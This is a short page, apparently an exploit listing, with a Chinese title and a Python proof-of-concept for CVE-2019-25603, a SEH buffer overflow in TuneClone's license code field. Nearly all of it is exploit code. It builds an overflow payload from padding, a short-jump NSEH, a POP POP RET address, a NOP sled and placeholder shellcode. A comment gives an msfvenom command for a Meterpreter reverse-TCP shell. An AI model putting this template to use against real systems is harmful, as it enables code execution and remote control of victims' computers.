CVE-2019-25603 TuneClone SEH缓冲区溢出漏洞

#!/usr/bin/env python3 """ PoC for CVE-2019-25603 - TuneClone SEH Buffer Overflow Generates a malicious license key to trigger the vulnerability. Note: Adjust offsets based on specific environment and module base addresses. """ import struct def create_poc(): # Offset to SEH handler (Example offset, needs debugging) offset = 4108 # NSEH instruction (Jump to Shellcode) # \xeb\x06\x90\x90 -> JMP SHORT +6, NOP, NOP nseh = b"\xeb\x06\x90\x90" # SEH Handler (POP POP RET) # Address needs to be a valid module address with no ASLR/DEP or a ROP gadget # Example address (hypothetical) seh = struct.pack('<L', 0x1001ae61) # Shellcode (Calc.exe or Bind Shell) # msfvenom -p windows/meterpreter/reverse_tcp LHOST=... EXITFUNC=thread -b "\x00\x0a\x0d" -f python shellcode = b"\xcc\xcc\xcc\xcc" # Placeholder for shellcode # Padding to align execution padding = b"\x90" * 20 # Build payload payload = b"A" * offset payload += nseh payload += seh payload += padding payload += shellcode payload += b"C" * (5000 - len(payload)) # Ensure total length triggers overflow print(f"[*] Generated PoC License Key (Length: {len(payload)})") print("[*] Paste this into the TuneClone License Code field.") return payload if __name__ == "__main__": create_poc()